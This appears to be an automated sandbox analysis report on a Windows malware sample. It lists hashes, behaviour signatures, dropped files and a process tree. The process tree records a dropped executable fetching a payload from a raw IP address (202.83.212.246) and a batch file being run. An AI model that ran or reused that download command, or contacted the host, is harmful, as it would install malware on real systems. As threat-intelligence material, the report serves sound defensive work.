8d437724ac136ad89b3dfa89cefe077e9016cec59e4c6475a93bee3a419ff8f8

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
25-06-2024 14:07

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

0e5c05933631c0c1f9c54bb1c48e5686_JaffaCakes118.exe
Size

99KB
MD5

0e5c05933631c0c1f9c54bb1c48e5686
SHA1

074b9aa3537864c3481ed9ea6029653c64472df6
SHA256

8d437724ac136ad89b3dfa89cefe077e9016cec59e4c6475a93bee3a419ff8f8
SHA512

94e91ae8eabe55616bebd2647004af8c041edb50c405a05a7c28900f93bb80dbd057961da1fb17b05f6330515888d8c55ea1885743b58f938942dca8146eac8d
SSDEEP

1536:EJlwldZwdjTEo9cfWxfxHm9tYLiNqEWINp3+erhRhggt7FZ4BUbqdj:EJlwmjTsfWpRktYLiNqEWarNggBFGNx

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
2088	G1391-tmp.exe

Loads dropped DLL 1 IoCs

pid	Process
912	0e5c05933631c0c1f9c54bb1c48e5686_JaffaCakes118.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 912 wrote to memory of 2088	912	0e5c05933631c0c1f9c54bb1c48e5686_JaffaCakes118.exe	28
PID 912 wrote to memory of 2088	912	0e5c05933631c0c1f9c54bb1c48e5686_JaffaCakes118.exe	28
PID 912 wrote to memory of 2088	912	0e5c05933631c0c1f9c54bb1c48e5686_JaffaCakes118.exe	28
PID 912 wrote to memory of 2088	912	0e5c05933631c0c1f9c54bb1c48e5686_JaffaCakes118.exe	28
PID 912 wrote to memory of 2992	912	0e5c05933631c0c1f9c54bb1c48e5686_JaffaCakes118.exe	30
PID 912 wrote to memory of 2992	912	0e5c05933631c0c1f9c54bb1c48e5686_JaffaCakes118.exe	30
PID 912 wrote to memory of 2992	912	0e5c05933631c0c1f9c54bb1c48e5686_JaffaCakes118.exe	30
PID 912 wrote to memory of 2992	912	0e5c05933631c0c1f9c54bb1c48e5686_JaffaCakes118.exe	30

C:\Users\Admin\AppData\Local\Temp\0e5c05933631c0c1f9c54bb1c48e5686_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\0e5c05933631c0c1f9c54bb1c48e5686_JaffaCakes118.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:912
- C:\Users\Admin\AppData\Local\Temp\G1391-tmp.exe
  C:\Users\Admin\AppData\Local\Temp\G1391-tmp.exe http://202.83.212.246/drv32.data "C:\Users\Admin\AppData\Local\Temp\G13A2-tmp"
  2⤵
  - Executes dropped EXE
  PID:2088
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ""C:\tmp.bat" "
  2⤵
  PID:2992

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\G1391-tmp

Filesize
126KB

MD5
6deab4d5857cab2db48fee1d928159a3

SHA1
7b2d3295df966047325d19d4ecb49cc146a523dc

SHA256
a15c5f871a8c2fea715d646f397e142fbb20df4484a3c34f81e8ce8f458cd5cc

SHA512
b021dcc580fcbb5065dfaa76de31d59ff978694901d1a0e9ae678e9950793d22211de9175d032544eb6dafc42a3f9791058aa72c32edf033a92d65d6990fcf04

Download Submit
C:\tmp.bat

Filesize
51B

MD5
7bf5edfd0ea421d8f898bf2375c77fb8

SHA1
95f45b04a6c811ee3e050adbca06f1c40546ca76

SHA256
2e8a5b2f9068c05e7529c4eb914c386c966b6b5684cd158f26082a99bff8af70

SHA512
6276d2d520b3cc2154ee9771cfd0452128cc5e4b041238daa6c78a77263f54045ab4f64158b9c3ba8025f328846191c7d3d0fc91b0a303c4956478b82cacff5d

Download Submit
memory/912-0-0x0000000000400000-0x000000000047D000-memory.dmp

Filesize
500KB

Download
memory/912-12-0x0000000000400000-0x000000000047D000-memory.dmp

Filesize
500KB

Download
memory/912-31-0x0000000000400000-0x000000000047D000-memory.dmp

Filesize
500KB

Download
memory/2088-13-0x0000000000400000-0x0000000000428000-memory.dmp

Filesize
160KB

Download
memory/2088-20-0x0000000000400000-0x0000000000428000-memory.dmp

Filesize
160KB

Download